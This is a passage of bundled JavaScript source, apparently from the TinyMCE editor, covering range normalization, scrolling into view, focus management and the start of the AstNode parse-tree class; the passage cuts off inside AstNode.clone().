    const isPrevNode = (node, name) => {
      var _a;
      return ((_a = node.previousSibling) === null || _a === void 0 ? void 0 : _a.nodeName) === name;
    };
    const hasContentEditableFalseParent = (root, node) => {
      let currentNode = node;
      while (currentNode && currentNode !== root) {
        if (isContentEditableFalse$a(currentNode)) {
          return true;
        }
        currentNode = currentNode.parentNode;
      }
      return false;
    };
    const findTextNodeRelative = (dom, isAfterNode, collapsed, left, startNode) => {
      const body = dom.getRoot();
      const nonEmptyElementsMap = dom.schema.getNonEmptyElements();
      const parentNode = startNode.parentNode;
      let lastInlineElement;
      let node;
      if (!parentNode) {
        return Optional.none();
      }
      const parentBlockContainer = dom.getParent(parentNode, dom.isBlock) || body;
      if (left && isBr$6(startNode) && isAfterNode && dom.isEmpty(parentBlockContainer)) {
        return Optional.some(CaretPosition(parentNode, dom.nodeIndex(startNode)));
      }
      const walker = new DomTreeWalker(startNode, parentBlockContainer);
      while (node = walker[left ? 'prev' : 'next']()) {
        if (dom.getContentEditableParent(node) === 'false' || isCeFalseCaretContainer(node, body)) {
          return Optional.none();
        }
        if (isText$a(node) && node.data.length > 0) {
          if (!hasParentWithName(node, body, 'A')) {
            return Optional.some(CaretPosition(node, left ? node.data.length : 0));
          }
          return Optional.none();
        }
        if (dom.isBlock(node) || nonEmptyElementsMap[node.nodeName.toLowerCase()]) {
          return Optional.none();
        }
        lastInlineElement = node;
      }
      if (isComment(lastInlineElement)) {
        return Optional.none();
      }
      if (collapsed && lastInlineElement) {
        return Optional.some(CaretPosition(lastInlineElement, 0));
      }
      return Optional.none();
    };
    const normalizeEndPoint = (dom, collapsed, start, rng) => {
      const body = dom.getRoot();
      let node;
      let normalized = false;
      let container = start ? rng.startContainer : rng.endContainer;
      let offset = start ? rng.startOffset : rng.endOffset;
      const isAfterNode = isElement$6(container) && offset === container.childNodes.length;
      const nonEmptyElementsMap = dom.schema.getNonEmptyElements();
      let directionLeft = start;
      if (isCaretContainer$2(container)) {
        return Optional.none();
      }
      if (isElement$6(container) && offset > container.childNodes.length - 1) {
        directionLeft = false;
      }
      if (isDocument$1(container)) {
        container = body;
        offset = 0;
      }
      if (container === body) {
        if (directionLeft) {
          node = container.childNodes[offset > 0 ? offset - 1 : 0];
          if (node) {
            if (isCaretContainer$2(node)) {
              return Optional.none();
            }
            if (nonEmptyElementsMap[node.nodeName] || isTable$2(node)) {
              return Optional.none();
            }
          }
        }
        if (container.hasChildNodes()) {
          offset = Math.min(!directionLeft && offset > 0 ? offset - 1 : offset, container.childNodes.length - 1);
          container = container.childNodes[offset];
          offset = isText$a(container) && isAfterNode ? container.data.length : 0;
          if (!collapsed && container === body.lastChild && isTable$2(container)) {
            return Optional.none();
          }
          if (hasContentEditableFalseParent(body, container) || isCaretContainer$2(container)) {
            return Optional.none();
          }
          if (container.hasChildNodes() && !isTable$2(container)) {
            node = container;
            const walker = new DomTreeWalker(container, body);
            do {
              if (isContentEditableFalse$a(node) || isCaretContainer$2(node)) {
                normalized = false;
                break;
              }
              if (isText$a(node) && node.data.length > 0) {
                offset = directionLeft ? 0 : node.data.length;
                container = node;
                normalized = true;
                break;
              }
              if (nonEmptyElementsMap[node.nodeName.toLowerCase()] && !isTableCellOrCaption(node)) {
                offset = dom.nodeIndex(node);
                container = node.parentNode;
                if (!directionLeft) {
                  offset++;
                }
                normalized = true;
                break;
              }
            } while (node = directionLeft ? walker.next() : walker.prev());
          }
        }
      }
      if (collapsed) {
        if (isText$a(container) && offset === 0) {
          findTextNodeRelative(dom, isAfterNode, collapsed, true, container).each(pos => {
            container = pos.container();
            offset = pos.offset();
            normalized = true;
          });
        }
        if (isElement$6(container)) {
          node = container.childNodes[offset];
          if (!node) {
            node = container.childNodes[offset - 1];
          }
          if (node && isBr$6(node) && !isPrevNode(node, 'A') && !hasBrBeforeAfter(dom, node, false) && !hasBrBeforeAfter(dom, node, true)) {
            findTextNodeRelative(dom, isAfterNode, collapsed, true, node).each(pos => {
              container = pos.container();
              offset = pos.offset();
              normalized = true;
            });
          }
        }
      }
      if (directionLeft && !collapsed && isText$a(container) && offset === container.data.length) {
        findTextNodeRelative(dom, isAfterNode, collapsed, false, container).each(pos => {
          container = pos.container();
          offset = pos.offset();
          normalized = true;
        });
      }
      return normalized && container ? Optional.some(CaretPosition(container, offset)) : Optional.none();
    };
    const normalize$2 = (dom, rng) => {
      const collapsed = rng.collapsed, normRng = rng.cloneRange();
      const startPos = CaretPosition.fromRangeStart(rng);
      normalizeEndPoint(dom, collapsed, true, normRng).each(pos => {
        if (!collapsed || !CaretPosition.isAbove(startPos, pos)) {
          normRng.setStart(pos.container(), pos.offset());
        }
      });
      if (!collapsed) {
        normalizeEndPoint(dom, collapsed, false, normRng).each(pos => {
          normRng.setEnd(pos.container(), pos.offset());
        });
      }
      if (collapsed) {
        normRng.collapse(true);
      }
      return isEq$4(rng, normRng) ? Optional.none() : Optional.some(normRng);
    };

    const splitText = (node, offset) => {
      return node.splitText(offset);
    };
    const split = rng => {
      let startContainer = rng.startContainer, startOffset = rng.startOffset, endContainer = rng.endContainer, endOffset = rng.endOffset;
      if (startContainer === endContainer && isText$a(startContainer)) {
        if (startOffset > 0 && startOffset < startContainer.data.length) {
          endContainer = splitText(startContainer, startOffset);
          startContainer = endContainer.previousSibling;
          if (endOffset > startOffset) {
            endOffset = endOffset - startOffset;
            const newContainer = splitText(endContainer, endOffset).previousSibling;
            startContainer = endContainer = newContainer;
            endOffset = newContainer.data.length;
            startOffset = 0;
          } else {
            endOffset = 0;
          }
        }
      } else {
        if (isText$a(startContainer) && startOffset > 0 && startOffset < startContainer.data.length) {
          startContainer = splitText(startContainer, startOffset);
          startOffset = 0;
        }
        if (isText$a(endContainer) && endOffset > 0 && endOffset < endContainer.data.length) {
          const newContainer = splitText(endContainer, endOffset).previousSibling;
          endContainer = newContainer;
          endOffset = newContainer.data.length;
        }
      }
      return {
        startContainer,
        startOffset,
        endContainer,
        endOffset
      };
    };

    const RangeUtils = dom => {
      const walk = (rng, callback) => {
        return walk$3(dom, rng, callback);
      };
      const split$1 = split;
      const normalize = rng => {
        return normalize$2(dom, rng).fold(never, normalizedRng => {
          rng.setStart(normalizedRng.startContainer, normalizedRng.startOffset);
          rng.setEnd(normalizedRng.endContainer, normalizedRng.endOffset);
          return true;
        });
      };
      const expand = (rng, options = { type: 'word' }) => {
        if (options.type === 'word') {
          const rangeLike = expandRng(dom, rng, [{ inline: 'span' }]);
          const newRange = dom.createRng();
          newRange.setStart(rangeLike.startContainer, rangeLike.startOffset);
          newRange.setEnd(rangeLike.endContainer, rangeLike.endOffset);
          return newRange;
        }
        return rng;
      };
      return {
        walk,
        split: split$1,
        expand,
        normalize
      };
    };
    RangeUtils.compareRanges = isEq$4;
    RangeUtils.getCaretRangeFromPoint = fromPoint;
    RangeUtils.getSelectedNode = getSelectedNode;
    RangeUtils.getNode = getNode$1;

    const Dimension = (name, getOffset) => {
      const set = (element, h) => {
        if (!isNumber(h) && !h.match(/^[0-9]+$/)) {
          throw new Error(name + '.set accepts only positive integer values. Value was ' + h);
        }
        const dom = element.dom;
        if (isSupported$1(dom)) {
          dom.style[name] = h + 'px';
        }
      };
      const get = element => {
        const r = getOffset(element);
        if (r <= 0 || r === null) {
          const css = get$7(element, name);
          return parseFloat(css) || 0;
        }
        return r;
      };
      const getOuter = get;
      const aggregate = (element, properties) => foldl(properties, (acc, property) => {
        const val = get$7(element, property);
        const value = val === undefined ? 0 : parseInt(val, 10);
        return isNaN(value) ? acc : acc + value;
      }, 0);
      const max = (element, value, properties) => {
        const cumulativeInclusions = aggregate(element, properties);
        const absoluteMax = value > cumulativeInclusions ? value - cumulativeInclusions : 0;
        return absoluteMax;
      };
      return {
        set,
        get,
        getOuter,
        aggregate,
        max
      };
    };

    const api = Dimension('height', element => {
      const dom = element.dom;
      return inBody(element) ? dom.getBoundingClientRect().height : dom.offsetHeight;
    });
    const get$2 = element => api.get(element);

    const getDocument = () => SugarElement.fromDom(document);

    const walkUp = (navigation, doc) => {
      const frame = navigation.view(doc);
      return frame.fold(constant([]), f => {
        const parent = navigation.owner(f);
        const rest = walkUp(navigation, parent);
        return [f].concat(rest);
      });
    };
    const pathTo = (element, navigation) => {
      const d = navigation.owner(element);
      return walkUp(navigation, d);
    };

    const view = doc => {
      var _a;
      const element = doc.dom === document ? Optional.none() : Optional.from((_a = doc.dom.defaultView) === null || _a === void 0 ? void 0 : _a.frameElement);
      return element.map(SugarElement.fromDom);
    };
    const owner = element => documentOrOwner(element);

    var Navigation = /*#__PURE__*/Object.freeze({
        __proto__: null,
        view: view,
        owner: owner
    });

    const find = element => {
      const doc = getDocument();
      const scroll = get$5(doc);
      const frames = pathTo(element, Navigation);
      const offset = viewport(element);
      const r = foldr(frames, (b, a) => {
        const loc = viewport(a);
        return {
          left: b.left + loc.left,
          top: b.top + loc.top
        };
      }, {
        left: 0,
        top: 0
      });
      return SugarPosition(r.left + offset.left + scroll.left, r.top + offset.top + scroll.top);
    };

    const excludeFromDescend = element => name(element) === 'textarea';
    const fireScrollIntoViewEvent = (editor, data) => {
      const scrollEvent = editor.dispatch('ScrollIntoView', data);
      return scrollEvent.isDefaultPrevented();
    };
    const fireAfterScrollIntoViewEvent = (editor, data) => {
      editor.dispatch('AfterScrollIntoView', data);
    };
    const descend = (element, offset) => {
      const children = children$1(element);
      if (children.length === 0 || excludeFromDescend(element)) {
        return {
          element,
          offset
        };
      } else if (offset < children.length && !excludeFromDescend(children[offset])) {
        return {
          element: children[offset],
          offset: 0
        };
      } else {
        const last = children[children.length - 1];
        if (excludeFromDescend(last)) {
          return {
            element,
            offset
          };
        } else {
          if (name(last) === 'img') {
            return {
              element: last,
              offset: 1
            };
          } else if (isText$b(last)) {
            return {
              element: last,
              offset: get$3(last).length
            };
          } else {
            return {
              element: last,
              offset: children$1(last).length
            };
          }
        }
      }
    };
    const markerInfo = (element, cleanupFun) => {
      const pos = absolute(element);
      const height = get$2(element);
      return {
        element,
        bottom: pos.top + height,
        height,
        pos,
        cleanup: cleanupFun
      };
    };
    const createMarker$1 = (element, offset) => {
      const startPoint = descend(element, offset);
      const span = SugarElement.fromHtml('<span data-mce-bogus="all" style="display: inline-block;">' + ZWSP$1 + '</span>');
      before$3(startPoint.element, span);
      return markerInfo(span, () => remove$6(span));
    };
    const elementMarker = element => markerInfo(SugarElement.fromDom(element), noop);
    const withMarker = (editor, f, rng, alignToTop) => {
      preserveWith(editor, (_s, _e) => applyWithMarker(editor, f, rng, alignToTop), rng);
    };
    const withScrollEvents = (editor, doc, f, marker, alignToTop) => {
      const data = {
        elm: marker.element.dom,
        alignToTop
      };
      if (fireScrollIntoViewEvent(editor, data)) {
        return;
      }
      const scrollTop = get$5(doc).top;
      f(doc, scrollTop, marker, alignToTop);
      fireAfterScrollIntoViewEvent(editor, data);
    };
    const applyWithMarker = (editor, f, rng, alignToTop) => {
      const body = SugarElement.fromDom(editor.getBody());
      const doc = SugarElement.fromDom(editor.getDoc());
      reflow(body);
      const marker = createMarker$1(SugarElement.fromDom(rng.startContainer), rng.startOffset);
      withScrollEvents(editor, doc, f, marker, alignToTop);
      marker.cleanup();
    };
    const withElement = (editor, element, f, alignToTop) => {
      const doc = SugarElement.fromDom(editor.getDoc());
      withScrollEvents(editor, doc, f, elementMarker(element), alignToTop);
    };
    const preserveWith = (editor, f, rng) => {
      const startElement = rng.startContainer;
      const startOffset = rng.startOffset;
      const endElement = rng.endContainer;
      const endOffset = rng.endOffset;
      f(SugarElement.fromDom(startElement), SugarElement.fromDom(endElement));
      const newRng = editor.dom.createRng();
      newRng.setStart(startElement, startOffset);
      newRng.setEnd(endElement, endOffset);
      editor.selection.setRng(rng);
    };
    const scrollToMarker = (marker, viewHeight, alignToTop, doc) => {
      const pos = marker.pos;
      if (alignToTop) {
        to(pos.left, pos.top, doc);
      } else {
        const y = pos.top - viewHeight + marker.height;
        to(pos.left, y, doc);
      }
    };
    const intoWindowIfNeeded = (doc, scrollTop, viewHeight, marker, alignToTop) => {
      const viewportBottom = viewHeight + scrollTop;
      const markerTop = marker.pos.top;
      const markerBottom = marker.bottom;
      const largerThanViewport = markerBottom - markerTop >= viewHeight;
      if (markerTop < scrollTop) {
        scrollToMarker(marker, viewHeight, alignToTop !== false, doc);
      } else if (markerTop > viewportBottom) {
        const align = largerThanViewport ? alignToTop !== false : alignToTop === true;
        scrollToMarker(marker, viewHeight, align, doc);
      } else if (markerBottom > viewportBottom && !largerThanViewport) {
        scrollToMarker(marker, viewHeight, alignToTop === true, doc);
      }
    };
    const intoWindow = (doc, scrollTop, marker, alignToTop) => {
      const viewHeight = defaultView(doc).dom.innerHeight;
      intoWindowIfNeeded(doc, scrollTop, viewHeight, marker, alignToTop);
    };
    const intoFrame = (doc, scrollTop, marker, alignToTop) => {
      const frameViewHeight = defaultView(doc).dom.innerHeight;
      intoWindowIfNeeded(doc, scrollTop, frameViewHeight, marker, alignToTop);
      const op = find(marker.element);
      const viewportBounds = getBounds(window);
      if (op.top < viewportBounds.y) {
        intoView(marker.element, alignToTop !== false);
      } else if (op.top > viewportBounds.bottom) {
        intoView(marker.element, alignToTop === true);
      }
    };
    const rangeIntoWindow = (editor, rng, alignToTop) => withMarker(editor, intoWindow, rng, alignToTop);
    const elementIntoWindow = (editor, element, alignToTop) => withElement(editor, element, intoWindow, alignToTop);
    const rangeIntoFrame = (editor, rng, alignToTop) => withMarker(editor, intoFrame, rng, alignToTop);
    const elementIntoFrame = (editor, element, alignToTop) => withElement(editor, element, intoFrame, alignToTop);
    const scrollElementIntoView = (editor, element, alignToTop) => {
      const scroller = editor.inline ? elementIntoWindow : elementIntoFrame;
      scroller(editor, element, alignToTop);
    };
    const scrollRangeIntoView = (editor, rng, alignToTop) => {
      const scroller = editor.inline ? rangeIntoWindow : rangeIntoFrame;
      scroller(editor, rng, alignToTop);
    };

    const focus$1 = element => element.dom.focus();
    const hasFocus$1 = element => {
      const root = getRootNode(element).dom;
      return element.dom === root.activeElement;
    };
    const active$1 = (root = getDocument()) => Optional.from(root.dom.activeElement).map(SugarElement.fromDom);
    const search = element => active$1(getRootNode(element)).filter(e => element.dom.contains(e.dom));

    const clamp$1 = (offset, element) => {
      const max = isText$b(element) ? get$3(element).length : children$1(element).length + 1;
      if (offset > max) {
        return max;
      } else if (offset < 0) {
        return 0;
      }
      return offset;
    };
    const normalizeRng = rng => SimSelection.range(rng.start, clamp$1(rng.soffset, rng.start), rng.finish, clamp$1(rng.foffset, rng.finish));
    const isOrContains = (root, elm) => !isRestrictedNode(elm.dom) && (contains(root, elm) || eq(root, elm));
    const isRngInRoot = root => rng => isOrContains(root, rng.start) && isOrContains(root, rng.finish);
    const shouldStore = editor => editor.inline || Env.browser.isFirefox();
    const nativeRangeToSelectionRange = r => SimSelection.range(SugarElement.fromDom(r.startContainer), r.startOffset, SugarElement.fromDom(r.endContainer), r.endOffset);
    const readRange = win => {
      const selection = win.getSelection();
      const rng = !selection || selection.rangeCount === 0 ? Optional.none() : Optional.from(selection.getRangeAt(0));
      return rng.map(nativeRangeToSelectionRange);
    };
    const getBookmark = root => {
      const win = defaultView(root);
      return readRange(win.dom).filter(isRngInRoot(root));
    };
    const validate = (root, bookmark) => Optional.from(bookmark).filter(isRngInRoot(root)).map(normalizeRng);
    const bookmarkToNativeRng = bookmark => {
      const rng = document.createRange();
      try {
        rng.setStart(bookmark.start.dom, bookmark.soffset);
        rng.setEnd(bookmark.finish.dom, bookmark.foffset);
        return Optional.some(rng);
      } catch (_) {
        return Optional.none();
      }
    };
    const store = editor => {
      const newBookmark = shouldStore(editor) ? getBookmark(SugarElement.fromDom(editor.getBody())) : Optional.none();
      editor.bookmark = newBookmark.isSome() ? newBookmark : editor.bookmark;
    };
    const getRng = editor => {
      const bookmark = editor.bookmark ? editor.bookmark : Optional.none();
      return bookmark.bind(x => validate(SugarElement.fromDom(editor.getBody()), x)).bind(bookmarkToNativeRng);
    };
    const restore = editor => {
      getRng(editor).each(rng => editor.selection.setRng(rng));
    };

    const isEditorUIElement$1 = elm => {
      const className = elm.className.toString();
      return className.indexOf('tox-') !== -1 || className.indexOf('mce-') !== -1;
    };
    const FocusManager = { isEditorUIElement: isEditorUIElement$1 };

    const wrappedSetTimeout = (callback, time) => {
      if (!isNumber(time)) {
        time = 0;
      }
      return setTimeout(callback, time);
    };
    const wrappedSetInterval = (callback, time) => {
      if (!isNumber(time)) {
        time = 0;
      }
      return setInterval(callback, time);
    };
    const Delay = {
      setEditorTimeout: (editor, callback, time) => {
        return wrappedSetTimeout(() => {
          if (!editor.removed) {
            callback();
          }
        }, time);
      },
      setEditorInterval: (editor, callback, time) => {
        const timer = wrappedSetInterval(() => {
          if (!editor.removed) {
            callback();
          } else {
            clearInterval(timer);
          }
        }, time);
        return timer;
      }
    };

    const isManualNodeChange = e => {
      return e.type === 'nodechange' && e.selectionChange;
    };
    const registerPageMouseUp = (editor, throttledStore) => {
      const mouseUpPage = () => {
        throttledStore.throttle();
      };
      DOMUtils.DOM.bind(document, 'mouseup', mouseUpPage);
      editor.on('remove', () => {
        DOMUtils.DOM.unbind(document, 'mouseup', mouseUpPage);
      });
    };
    const registerMouseUp = (editor, throttledStore) => {
      editor.on('mouseup touchend', _e => {
        throttledStore.throttle();
      });
    };
    const registerEditorEvents = (editor, throttledStore) => {
      registerMouseUp(editor, throttledStore);
      editor.on('keyup NodeChange AfterSetSelectionRange', e => {
        if (!isManualNodeChange(e)) {
          store(editor);
        }
      });
    };
    const register$6 = editor => {
      const throttledStore = first$1(() => {
        store(editor);
      }, 0);
      editor.on('init', () => {
        if (editor.inline) {
          registerPageMouseUp(editor, throttledStore);
        }
        registerEditorEvents(editor, throttledStore);
      });
      editor.on('remove', () => {
        throttledStore.cancel();
      });
    };

    let documentFocusInHandler;
    const DOM$9 = DOMUtils.DOM;
    const isEditorUIElement = elm => {
      return isElement$6(elm) && FocusManager.isEditorUIElement(elm);
    };
    const isEditorContentAreaElement = elm => {
      const classList = elm.classList;
      if (classList !== undefined) {
        return classList.contains('tox-edit-area') || classList.contains('tox-edit-area__iframe') || classList.contains('mce-content-body');
      } else {
        return false;
      }
    };
    const isUIElement = (editor, elm) => {
      const customSelector = getCustomUiSelector(editor);
      const parent = DOM$9.getParent(elm, elm => {
        return isEditorUIElement(elm) || (customSelector ? editor.dom.is(elm, customSelector) : false);
      });
      return parent !== null;
    };
    const getActiveElement = editor => {
      try {
        const root = getRootNode(SugarElement.fromDom(editor.getElement()));
        return active$1(root).fold(() => document.body, x => x.dom);
      } catch (ex) {
        return document.body;
      }
    };
    const registerEvents$1 = (editorManager, e) => {
      const editor = e.editor;
      register$6(editor);
      editor.on('focusin', () => {
        const focusedEditor = editorManager.focusedEditor;
        if (focusedEditor !== editor) {
          if (focusedEditor) {
            focusedEditor.dispatch('blur', { focusedEditor: editor });
          }
          editorManager.setActive(editor);
          editorManager.focusedEditor = editor;
          editor.dispatch('focus', { blurredEditor: focusedEditor });
          editor.focus(true);
        }
      });
      editor.on('focusout', () => {
        Delay.setEditorTimeout(editor, () => {
          const focusedEditor = editorManager.focusedEditor;
          if (!isUIElement(editor, getActiveElement(editor)) && focusedEditor === editor) {
            editor.dispatch('blur', { focusedEditor: null });
            editorManager.focusedEditor = null;
          }
        });
      });
      if (!documentFocusInHandler) {
        documentFocusInHandler = e => {
          const activeEditor = editorManager.activeEditor;
          if (activeEditor) {
            getOriginalEventTarget(e).each(target => {
              const elem = target;
              if (elem.ownerDocument === document) {
                if (elem !== document.body && !isUIElement(activeEditor, elem) && editorManager.focusedEditor === activeEditor) {
                  activeEditor.dispatch('blur', { focusedEditor: null });
                  editorManager.focusedEditor = null;
                }
              }
            });
          }
        };
        DOM$9.bind(document, 'focusin', documentFocusInHandler);
      }
    };
    const unregisterDocumentEvents = (editorManager, e) => {
      if (editorManager.focusedEditor === e.editor) {
        editorManager.focusedEditor = null;
      }
      if (!editorManager.activeEditor && documentFocusInHandler) {
        DOM$9.unbind(document, 'focusin', documentFocusInHandler);
        documentFocusInHandler = null;
      }
    };
    const setup$v = editorManager => {
      editorManager.on('AddEditor', curry(registerEvents$1, editorManager));
      editorManager.on('RemoveEditor', curry(unregisterDocumentEvents, editorManager));
    };

    const getContentEditableHost = (editor, node) => editor.dom.getParent(node, node => editor.dom.getContentEditable(node) === 'true');
    const getCollapsedNode = rng => rng.collapsed ? Optional.from(getNode$1(rng.startContainer, rng.startOffset)).map(SugarElement.fromDom) : Optional.none();
    const getFocusInElement = (root, rng) => getCollapsedNode(rng).bind(node => {
      if (isTableSection(node)) {
        return Optional.some(node);
      } else if (!contains(root, node)) {
        return Optional.some(root);
      } else {
        return Optional.none();
      }
    });
    const normalizeSelection = (editor, rng) => {
      getFocusInElement(SugarElement.fromDom(editor.getBody()), rng).bind(elm => {
        return firstPositionIn(elm.dom);
      }).fold(() => {
        editor.selection.normalize();
      }, caretPos => editor.selection.setRng(caretPos.toRange()));
    };
    const focusBody = body => {
      if (body.setActive) {
        try {
          body.setActive();
        } catch (ex) {
          body.focus();
        }
      } else {
        body.focus();
      }
    };
    const hasElementFocus = elm => hasFocus$1(elm) || search(elm).isSome();
    const hasIframeFocus = editor => isNonNullable(editor.iframeElement) && hasFocus$1(SugarElement.fromDom(editor.iframeElement));
    const hasInlineFocus = editor => {
      const rawBody = editor.getBody();
      return rawBody && hasElementFocus(SugarElement.fromDom(rawBody));
    };
    const hasUiFocus = editor => {
      const dos = getRootNode(SugarElement.fromDom(editor.getElement()));
      return active$1(dos).filter(elem => !isEditorContentAreaElement(elem.dom) && isUIElement(editor, elem.dom)).isSome();
    };
    const hasFocus = editor => editor.inline ? hasInlineFocus(editor) : hasIframeFocus(editor);
    const hasEditorOrUiFocus = editor => hasFocus(editor) || hasUiFocus(editor);
    const focusEditor = editor => {
      const selection = editor.selection;
      const body = editor.getBody();
      let rng = selection.getRng();
      editor.quirks.refreshContentEditable();
      if (isNonNullable(editor.bookmark) && !hasFocus(editor)) {
        getRng(editor).each(bookmarkRng => {
          editor.selection.setRng(bookmarkRng);
          rng = bookmarkRng;
        });
      }
      const contentEditableHost = getContentEditableHost(editor, selection.getNode());
      if (contentEditableHost && editor.dom.isChildOf(contentEditableHost, body)) {
        focusBody(contentEditableHost);
        normalizeSelection(editor, rng);
        activateEditor(editor);
        return;
      }
      if (!editor.inline) {
        if (!Env.browser.isOpera()) {
          focusBody(body);
        }
        editor.getWin().focus();
      }
      if (Env.browser.isFirefox() || editor.inline) {
        focusBody(body);
        normalizeSelection(editor, rng);
      }
      activateEditor(editor);
    };
    const activateEditor = editor => editor.editorManager.setActive(editor);
    const focus = (editor, skipFocus) => {
      if (editor.removed) {
        return;
      }
      if (skipFocus) {
        activateEditor(editor);
      } else {
        focusEditor(editor);
      }
    };

    const getEndpointElement = (root, rng, start, real, resolve) => {
      const container = start ? rng.startContainer : rng.endContainer;
      const offset = start ? rng.startOffset : rng.endOffset;
      return Optional.from(container).map(SugarElement.fromDom).map(elm => !real || !rng.collapsed ? child$1(elm, resolve(elm, offset)).getOr(elm) : elm).bind(elm => isElement$7(elm) ? Optional.some(elm) : parent(elm).filter(isElement$7)).map(elm => elm.dom).getOr(root);
    };
    const getStart = (root, rng, real = false) => getEndpointElement(root, rng, true, real, (elm, offset) => Math.min(childNodesCount(elm), offset));
    const getEnd$1 = (root, rng, real = false) => getEndpointElement(root, rng, false, real, (elm, offset) => offset > 0 ? offset - 1 : offset);
    const skipEmptyTextNodes = (node, forwards) => {
      const orig = node;
      while (node && isText$a(node) && node.length === 0) {
        node = forwards ? node.nextSibling : node.previousSibling;
      }
      return node || orig;
    };
    const getNode = (root, rng) => {
      if (!rng) {
        return root;
      }
      let startContainer = rng.startContainer;
      let endContainer = rng.endContainer;
      const startOffset = rng.startOffset;
      const endOffset = rng.endOffset;
      let node = rng.commonAncestorContainer;
      if (!rng.collapsed) {
        if (startContainer === endContainer) {
          if (endOffset - startOffset < 2) {
            if (startContainer.hasChildNodes()) {
              node = startContainer.childNodes[startOffset];
            }
          }
        }
        if (isText$a(startContainer) && isText$a(endContainer)) {
          if (startContainer.length === startOffset) {
            startContainer = skipEmptyTextNodes(startContainer.nextSibling, true);
          } else {
            startContainer = startContainer.parentNode;
          }
          if (endOffset === 0) {
            endContainer = skipEmptyTextNodes(endContainer.previousSibling, false);
          } else {
            endContainer = endContainer.parentNode;
          }
          if (startContainer && startContainer === endContainer) {
            node = startContainer;
          }
        }
      }
      const elm = isText$a(node) ? node.parentNode : node;
      return isElement$6(elm) ? elm : root;
    };
    const getSelectedBlocks = (dom, rng, startElm, endElm) => {
      const selectedBlocks = [];
      const root = dom.getRoot();
      const start = dom.getParent(startElm || getStart(root, rng, rng.collapsed), dom.isBlock);
      const end = dom.getParent(endElm || getEnd$1(root, rng, rng.collapsed), dom.isBlock);
      if (start && start !== root) {
        selectedBlocks.push(start);
      }
      if (start && end && start !== end) {
        let node = start;
        const walker = new DomTreeWalker(start, root);
        while ((node = walker.next()) && node !== end) {
          if (dom.isBlock(node)) {
            selectedBlocks.push(node);
          }
        }
      }
      if (end && start !== end && end !== root) {
        selectedBlocks.push(end);
      }
      return selectedBlocks;
    };
    const select = (dom, node, content) => Optional.from(node).bind(node => Optional.from(node.parentNode).map(parent => {
      const idx = dom.nodeIndex(node);
      const rng = dom.createRng();
      rng.setStart(parent, idx);
      rng.setEnd(parent, idx + 1);
      if (content) {
        moveEndPoint(dom, rng, node, true);
        moveEndPoint(dom, rng, node, false);
      }
      return rng;
    }));

    const processRanges = (editor, ranges) => map$3(ranges, range => {
      const evt = editor.dispatch('GetSelectionRange', { range });
      return evt.range !== range ? evt.range : range;
    });

    const getEnd = element => name(element) === 'img' ? 1 : getOption(element).fold(() => children$1(element).length, v => v.length);
    const isTextNodeWithCursorPosition = el => getOption(el).filter(text => text.trim().length !== 0 || text.indexOf(nbsp) > -1).isSome();
    const elementsWithCursorPosition = [
      'img',
      'br'
    ];
    const isCursorPosition = elem => {
      const hasCursorPosition = isTextNodeWithCursorPosition(elem);
      return hasCursorPosition || contains$2(elementsWithCursorPosition, name(elem));
    };

    const first = element => descendant$1(element, isCursorPosition);
    const last = element => descendantRtl(element, isCursorPosition);
    const descendantRtl = (scope, predicate) => {
      const descend = element => {
        const children = children$1(element);
        for (let i = children.length - 1; i >= 0; i--) {
          const child = children[i];
          if (predicate(child)) {
            return Optional.some(child);
          }
          const res = descend(child);
          if (res.isSome()) {
            return res;
          }
        }
        return Optional.none();
      };
      return descend(scope);
    };

    const autocompleteSelector = '[data-mce-autocompleter]';
    const create$9 = (editor, range) => {
      if (findIn(SugarElement.fromDom(editor.getBody())).isNone()) {
        const wrapper = SugarElement.fromHtml('<span data-mce-autocompleter="1" data-mce-bogus="1"></span>', editor.getDoc());
        append$1(wrapper, SugarElement.fromDom(range.extractContents()));
        range.insertNode(wrapper.dom);
        parent(wrapper).each(elm => elm.dom.normalize());
        last(wrapper).map(last => {
          editor.selection.setCursorLocation(last.dom, getEnd(last));
        });
      }
    };
    const detect$1 = elm => closest$3(elm, autocompleteSelector);
    const findIn = elm => descendant(elm, autocompleteSelector);
    const remove$3 = (editor, elm) => findIn(elm).each(wrapper => {
      const bookmark = editor.selection.getBookmark();
      unwrap(wrapper);
      editor.selection.moveToBookmark(bookmark);
    });

    const typeLookup = {
      '#text': 3,
      '#comment': 8,
      '#cdata': 4,
      '#pi': 7,
      '#doctype': 10,
      '#document-fragment': 11
    };
    const walk$2 = (node, root, prev) => {
      const startName = prev ? 'lastChild' : 'firstChild';
      const siblingName = prev ? 'prev' : 'next';
      if (node[startName]) {
        return node[startName];
      }
      if (node !== root) {
        let sibling = node[siblingName];
        if (sibling) {
          return sibling;
        }
        for (let parent = node.parent; parent && parent !== root; parent = parent.parent) {
          sibling = parent[siblingName];
          if (sibling) {
            return sibling;
          }
        }
      }
      return undefined;
    };
    const isEmptyTextNode = node => {
      var _a;
      const text = (_a = node.value) !== null && _a !== void 0 ? _a : '';
      if (!isWhitespaceText(text)) {
        return false;
      }
      const parentNode = node.parent;
      if (parentNode && (parentNode.name !== 'span' || parentNode.attr('style')) && /^[ ]+$/.test(text)) {
        return false;
      }
      return true;
    };
    const isNonEmptyElement = node => {
      const isNamedAnchor = node.name === 'a' && !node.attr('href') && node.attr('id');
      return node.attr('name') || node.attr('id') && !node.firstChild || node.attr('data-mce-bookmark') || isNamedAnchor;
    };
    class AstNode {
      constructor(name, type) {
        this.name = name;
        this.type = type;
        if (type === 1) {
          this.attributes = [];
          this.attributes.map = {};
        }
      }
      static create(name, attrs) {
        const node = new AstNode(name, typeLookup[name] || 1);
        if (attrs) {
          each$d(attrs, (value, attrName) => {
            node.attr(attrName, value);
          });
        }
        return node;
      }
      replace(node) {
        const self = this;
        if (node.parent) {
          node.remove();
        }
        self.insert(node, self);
        self.remove();
        return self;
      }
      attr(name, value) {
        const self = this;
        if (!isString(name)) {
          if (isNonNullable(name)) {
            each$d(name, (value, key) => {
              self.attr(key, value);
            });
          }
          return self;
        }
        const attrs = self.attributes;
        if (attrs) {
          if (value !== undefined) {
            if (value === null) {
              if (name in attrs.map) {
                delete attrs.map[name];
                let i = attrs.length;
                while (i--) {
                  if (attrs[i].name === name) {
                    attrs.splice(i, 1);
                    return self;
                  }
                }
              }
              return self;
            }
            if (name in attrs.map) {
              let i = attrs.length;
              while (i--) {
                if (attrs[i].name === name) {
                  attrs[i].value = value;
                  break;
                }
              }
            } else {
              attrs.push({
                name,
                value
              });
            }
            attrs.map[name] = value;
            return self;
          }
          return attrs.map[name];
        }
        return undefined;
      }
      clone() {
        const self = this;
        const clone = new AstNode(self.name, self.type);
        const selfAttrs = self.attributes;
        if (selfAttrs) {
